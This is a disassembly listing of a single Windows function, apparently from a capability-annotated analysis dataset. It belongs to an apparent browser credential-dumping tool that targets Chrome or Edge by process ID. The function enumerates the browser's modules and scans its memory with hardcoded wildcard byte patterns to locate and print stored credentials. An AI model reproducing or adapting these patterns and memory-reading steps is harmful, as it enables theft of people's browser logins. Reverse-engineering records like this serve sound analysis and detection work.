Function at 0x14000e640
Capabilities:
Enumerate process modules
Enumerate processes
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x670]
sub rsp, 0x770
mov rax, qword [0x140068040]
xor rax, rsp
mov qword [rbp + 0x660], rax
movsxd rbx, ecx
mov rdi, rdx
lea rcx, str.Dont_use_your_cats_name_as_a_password__n_n
mov qword [rbp + 0x1d8], rdx
call fcn.14000e590
mov eax, 1
xor r12d, r12d
xor r15d, r15d
mov dword [rbp + 0x1d0], r12d
mov r14d, eax
mov r13, rbx
cmp rax, rbx
jae 0x14000e981
mov ebx, eax
mov rcx, qword [rdi + r14*8]
lea rdx, str.pid:
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x14000e733
mov rcx, qword [rdi + r14*8]
mov edx, 0x3a
call fcn.14001245c
mov rbx, 0xffffffffffffffff
lea rsi, [rax + 1]
cmp byte [rsi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x14000e6e3
lea rcx, [rbx + 1]
call fcn.1400108f4
mov r8, rsi
lea rdx, [rbx + 1]
mov rcx, rax
mov rdi, rax
call fcn.14001bb68
lea r8, [rbp + 0x1d0]
mov rcx, rdi
lea rdx, [0x1400620cc]
call fcn.14000e5e0
test eax, eax
je 0x14000e7f0
mov rdi, qword [rbp + 0x1d8]
mov ebx, 1
mov rcx, qword [rdi + r14*8]
lea rdx, str.edge
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r14*8]
lea rdx, str.webview
test rax, rax
cmovne r15d, ebx
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r14*8]
lea rdx, str.list
test rax, rax
mov eax, 2
cmovne r15d, eax
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r14*8]
lea rdx, str.help
test rax, rax
cmovne r12d, ebx
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x14000ead4
mov rcx, qword [rdi + r14*8]
lea rdx, [0x140062120]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x14000ead4
inc r14
cmp r14, r13
jb 0x14000e6b4
test r15d, r15d
je 0x14000e981
sub r15d, 1
je 0x14000e84e
cmp r15d, 1
je 0x14000e7fc
lea rcx, str.____Invalid_target_browser__n
call fcn.14000e590
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x14000eda1
lea rcx, str.____Failed_to_parse_command_line_argument__pid_
jmp 0x14000ed97
lea rcx, str.___Targeting_Msedgewebview2_n
call fcn.14000e590
mov ecx, 0x90
call fcn.1400108f4
xorps xmm0, xmm0
lea rcx, str.____msedgewebview2_is_not_currently_supported__n
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
movups xmmword [rax + 0x80], xmm0
call fcn.14000e590
mov eax, ebx
jmp 0x14000eda1
lea rcx, str.___Targeting_Edge_n
call fcn.14000e590
mov ecx, 0x90
lea rdi, str.msedge.exe
lea r13, str.msedge.dll
call fcn.1400108f4
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xaaaaaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xaaaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0x4856c35e
mov dword [rax + 0x28], 0x4820ec83
mov dword [rax + 0x2c], 0x418ace89
mov dword [rax + 0x30], 0x48423a48
mov dword [rax + 0x34], 0xc0841175
mov dword [rax + 0x38], 0x89482274
mov dword [rax + 0x3c], 0xc48348f1
mov dword [rax + 0x40], 0xaae95e20
mov dword [rax + 0x44], 0x84aaaaaa
mov dword [rax + 0x48], 0x481775c0
mov dword [rax + 0x4c], 0x2074f685
mov dword [rax + 0x50], 0xe8f18948
mov dword [rax + 0x54], 0xaaaaaaaa
mov dword [rax + 0x58], 0x14846c6
mov dword [rax + 0x5c], 0x20c48348
mov dword [rax + 0x60], 0x8948c35e
mov dword [rax + 0x64], 0xaaaae8f1
mov dword [rax + 0x68], 0x46c6aaaa
mov dword [rax + 0x6c], 0xeceb0048
mov dword [rax + 0x70], 0x57410b0f
mov dword [rax + 0x74], 0x54415641
mov dword [rax + 0x78], 0x48535756
mov dword [rax + 0x7c], 0x4d38ec83
mov dword [rax + 0x80], 0x894cce89
mov dword [rax + 0x84], 0xd38948c7
mov dword [rax + 0x88], 0x48ce8948
mov dword [rax + 0x8c], 0xaaaa058b
jmp 0x14000eaaf
lea rcx, str.___Targeting_Chrome_n
call fcn.14000e590
mov ecx, 0x90
lea rdi, str.chrome.exe
lea r13, str.chrome.dll
call fcn.1400108f4
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xaaaaaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xaaaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0xccccc35e
mov dword [rax + 0x28], 0xcccccccc
mov dword [rax + 0x2c], 0xcccccccc
mov dword [rax + 0x30], 0x48535756
mov dword [rax + 0x34], 0x4820ec83
mov dword [rax + 0x38], 0x8948d789
mov dword [rax + 0x3c], 0xbb48ce
mov dword [rax + 0x40], 0xfc000000
mov dword [rax + 0x44], 0x48ffffff
mov dword [rax + 0x48], 0x2148d0aa
mov dword [rax + 0x4c], 0x53b48d8
mov dword [rax + 0x50], 0xb2eaaaa
mov dword [rax + 0x54], 0x89480875
mov dword [rax + 0x58], 0xaaaae8aa
mov dword [rax + 0x5c], 0x8b48fda3
mov dword [rax + 0x60], 0x2148184e
mov dword [rax + 0x64], 0x1d3b48cb
mov dword [rax + 0x68], 0xb2eaaaa
mov dword [rax + 0x6c], 0x89482074
mov dword [rax + 0x70], 0xa0b9187e
mov dword [rax + 0x74], 0x48000000
mov dword [rax + 0x78], 0x48104e03
mov dword [rax + 0x7c], 0x4808c683
mov dword [rax + 0x80], 0x8348f289
mov dword [rax + 0x84], 0x5f5b20aa
mov dword [rax + 0x88], 0xaaaae95e
mov dword [rax + 0x8c], 0xaae8fe4d
test r12d, r12d
je 0x14000eadb
lea rcx, str.___Listing_targetable_processes_n
call fcn.14000e590
mov rcx, rdi
call fcn.14000f790
lea rcx, str.___Done_n
call fcn.14000e590
xor eax, eax
jmp 0x14000eda1
mov r8d, dword [rbp + 0x1d0]
test r8d, r8d
je 0x14000ec3f
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14000ec28
lea r9, [rbp + 0x230]
mov dword [rbp + 0x230], 0x104
lea r8, [rbp + 0x240]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
je 0x14000ec28
lea rcx, [rbp + 0x240]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r9, rdi
mov rcx, rax
sub r9, rax
nop dword [rax]
movzx r8d, word [rcx]
movzx edx, word [rcx + r9]
sub r8d, edx
jne 0x14000eb66
add rcx, 2
test edx, edx
jne 0x14000eb50
test r8d, r8d
je 0x14000ebb9
mov r9, rdi
mov rcx, rax
sub r9, rax
nop dword [rax]
nop dword [rax + rax]
movzx r8d, word [rcx]
movzx edx, word [rcx + r9]
sub r8d, edx
jne 0x14000eb96
add rcx, 2
test edx, edx
jne 0x14000eb80
test r8d, r8d
je 0x14000ebb9
mov r8, rdi
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ebb5
add rax, 2
test ecx, ecx
jne 0x14000eba1
test edx, edx
jne 0x14000ec28
xor r12d, r12d
lea rdx, [rbp + 0x230]
mov rcx, rsi
mov dword [rbp + 0x230], r12d
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x14000ec05
cmp dword [rbp + 0x230], r12d
jne 0x14000ec05
mov r8d, dword [rbp + 0x1d0]
lea rcx, str.___Targeting_process:__ls_on_PID:__lu_n
mov rdx, rdi
call fcn.14000e590
cmp dword [rbp + 0x1d0], r12d
jne 0x14000ee3b
jmp 0x14000ec42
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Target_process_is_32bit._Only_64bit_browsers_are_supported__n
call fcn.14000e590
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000ed9c
mov edx, dword [rbp + 0x1d0]
lea rcx, str.____Failed_to_get_process_handle_to_PID:__lu_n
call fcn.14000e590
jmp 0x14000ed9c
xor r12d, r12d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000ed90
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000ed87
nop word [rax + rax]
lea rax, [rbp - 0x44]
mov r8, rdi
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000eca4
add rax, 2
test ecx, ecx
jne 0x14000ec90
test edx, edx
jne 0x14000ed72
mov r8d, dword [rbp - 0x50]
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r9, [rbp + 0x1e0]
mov dword [rbp + 0x1e0], 0x104
mov rcx, rax
lea r8, [rbp + 0x240]
xor edx, edx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
je 0x14000edd1
lea rcx, [rbp + 0x240]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r9, rdi
mov rcx, rax
sub r9, rax
nop
movzx r8d, word [rcx]
movzx edx, word [rcx + r9]
sub r8d, edx
jne 0x14000ed16
add rcx, 2
test edx, edx
jne 0x14000ed00
test r8d, r8d
je 0x14000ed69
mov r9, rdi
mov rcx, rax
sub r9, rax
nop dword [rax]
nop dword [rax + rax]
movzx r8d, word [rcx]
movzx edx, word [rcx + r9]
sub r8d, edx
jne 0x14000ed46
add rcx, 2
test edx, edx
jne 0x14000ed30
test r8d, r8d
je 0x14000ed69
mov r8, rdi
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ed65
add rax, 2
test ecx, ecx
jne 0x14000ed51
test edx, edx
jne 0x14000edd1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000ec80
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Failed_to_find_right_process_n
call fcn.14000e590
mov eax, 1
mov rcx, qword [rbp + 0x660]
xor rcx, rsp
call fcn.1400106b0
lea r11, [rsp + 0x770]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp - 0x68]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rbp - 0x68]
lea rcx, str.___Found__ls_main_process_PID:__lu_n
mov rdx, rdi
mov rsi, rax
call fcn.14000e590
mov eax, dword [rbp - 0x68]
mov dword [rbp + 0x1d0], eax
test rsi, rsi
je 0x14000ed90
lea rdx, [rbp + 0x230]
mov dword [rbp + 0x230], r12d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x14000ec05
cmp dword [rbp + 0x230], 0
jne 0x14000ec05
mov ecx, 0x2000
call fcn.140021200
mov r15, rax
test rax, rax
je 0x14000eed8
lea r9, [rbp + 0x230]
mov dword [rsp + 0x20], 3
mov r8d, 0x2000
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
test eax, eax
je 0x14000eed8
mov eax, dword [rbp + 0x230]
mov edi, r12d
test rax, 0xfffffffffffffff8
jbe 0x14000eed8
mov r14, r15
nop word [rax + rax]
mov rdx, qword [r14]
lea r8, [rbp + 0x450]
mov r9d, 0x104
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x14000eec0
mov rdx, r13
lea rcx, [rbp + 0x450]
call fcn.140021248
test eax, eax
je 0x14000eefd
mov ecx, dword [rbp + 0x230]
inc edi
shr rcx, 3
add r14, 8
movsxd rax, edi
cmp rax, rcx
jb 0x14000ee90
mov rcx, r15
call fcn.14001b738
mov rdx, r13
lea rcx, str.____Failed_to_find__ls_base_address__n
call fcn.14000e590
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000ed9c
movsxd rdx, edi
lea r8, [rsp + 0x30]
mov r9d, 0x18
mov rcx, rsi
mov rdx, qword [r15 + rdx*8]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rcx, r15
test eax, eax
je 0x14000eedb
mov r14, qword [rsp + 0x30]
mov edi, dword [rsp + 0x38]
call fcn.14001b738
lea rax, [rbp + 0x1d8]
mov qword [rbp + 0x1d8], r12
mov qword [rsp + 0x28], rax
mov r9, r14
mov r8d, 0x90
mov dword [rsp + 0x20], edi
mov rdx, rbx
mov rcx, rsi
call fcn.14000f690
test eax, eax
jne 0x14000ef80
lea rcx, str.____Failed_to_find_the_first_pattern__n
call fcn.14000e590
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000ed9c
mov rax, qword [rbp + 0x1d8]
mov rcx, rdi
mov byte [rbp + 0x238], al
mov rbx, rdi
shr rax, 8
mov byte [rbp + 0x239], al
shr rax, 8
mov byte [rbp + 0x23a], al
shr rax, 8
mov byte [rbp + 0x23b], al
shr rax, 8
mov byte [rbp + 0x23c], al
shr rax, 8
mov byte [rbp + 0x23d], al
shr rax, 8
mov byte [rbp + 0x23e], al
shr rax, 8
mov byte [rbp + 0x23f], al
call fcn.1400108f4
mov rdi, rax
mov r9, rbx
lea rax, [rbp + 0x1d8]
mov r8, rdi
mov rdx, r14
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
jne 0x14000f016
cmp eax, 0x12b
jne 0x14000f206
mov r11, qword [rbp + 0x1d8]
lea rax, [rbp + 0x238]
add r11, 0xfffffffffffffff8
mov r10, rdi
sub r10, rax
mov r9, r12
mov rax, r12
lea r8, [r9 + r10]
nop dword [rax + rax]
lea rcx, [rbp + 0x238]
add rcx, rax
movzx edx, byte [rcx]
cmp dl, 0xaa
je 0x14000f05c
cmp byte [r8 + rcx], dl
jne 0x14000f1fa
inc rax
cmp rax, 8
jb 0x14000f040
mov rcx, rdi
lea rbx, [r9 + r14]
call fcn.1400108c0
mov byte [rbp + 0x230], bl
mov ecx, 0x320
shr rbx, 8
mov byte [rbp + 0x231], bl
shr rbx, 8
mov byte [rbp + 0x232], bl
shr rbx, 8
mov byte [rbp + 0x233], bl
shr rbx, 8
mov byte [rbp + 0x234], bl
shr rbx, 8
mov byte [rbp + 0x235], bl
shr rbx, 8
mov byte [rbp + 0x236], bl
shr rbx, 8
mov byte [rbp + 0x237], bl
call fcn.140021200
mov r14, rax
mov rdi, r12
test rax, rax
je 0x14000f2b5
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r15, qword [rsp + 0x68]
mov r13, qword [rsp + 0x70]
cmp r15, r13
jae 0x14000f2b5
mov rbx, qword [rbp + 0x230]
nop dword [rax + rax]
mov r9d, 0x30
lea r8, [rsp + 0x30]
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp rax, 0x30
jne 0x14000f1ac
cmp dword [rsp + 0x50], 0x1000
jne 0x14000f19e
test byte [rsp + 0x54], 0x44
je 0x14000f19e
mov rcx, qword [rsp + 0x48]
call fcn.1400108f4
mov r9, qword [rsp + 0x48]
mov r12, rax
mov rdx, qword [rsp + 0x30]
lea rax, [rbp + 0x1d8]
mov r8, r12
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000f196
mov rax, qword [rsp + 0x30]
mov rdx, r12
mov rcx, qword [rbp + 0x1d8]
sub rdx, rax
add rcx, 0xfffffffffffffff9
nop dword [rax + rax]
cmp qword [rax + rdx], rbx
jne 0x14000f18d
mov qword [r14 + rdi*8], rax
inc rdi
inc rax
sub rcx, 1
jne 0x14000f180
mov rcx, r12
call fcn.1400108c0
add r15, qword [rsp + 0x48]
cmp r15, r13
jb 0x14000f100
test rdi, rdi
je 0x14000f2b5
xor r12d, r12d
mov ebx, r12d
nop dword [rax + rax]
mov rdx, qword [r14 + rbx*8]
test rdx, rdx
je 0x14000f291
add rdx, 8
mov qword [rsp + 0x20], r12
mov r9d, 0x18
lea r8, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000f220
lea rcx, str.Failed_to_read_the_root_node_from_given_address_n
jmp 0x14000f280
inc r9
cmp r9, r11
jbe 0x14000f031
lea rcx, str.____Failed_to_find_the_second_pattern__n
call fcn.14000e590
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000ed9c
mov rdx, qword [rsp + 0x40]
lea rcx, str.___Number_of_available_credentials:__zu_n_n
call fcn.14000e590
mov rdx, qword [rsp + 0x38]
test rdx, rdx
jne 0x14000f249
lea rcx, str.___This_credential_map_was_empty_n
call fcn.14000e590
jmp 0x14000f285
mov r9d, 0x40
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000f279
lea rdx, [rbp + 0x1f0]
mov rcx, rsi
call fcn.14000f3e0
jmp 0x14000f285
lea rcx, str.Error_reading_first_node_n
call fcn.140002e50
inc rbx
cmp rbx, rdi
jb 0x14000f1c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call fcn.14001b738
lea rcx, str._n___Done_n
call fcn.14000e590
xor eax, eax
jmp 0x14000eda1
lea rcx, str.____Failed_to_find_the_third_pattern__n
call fcn.14000e590
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call fcn.14001b738
jmp 0x14000ed9c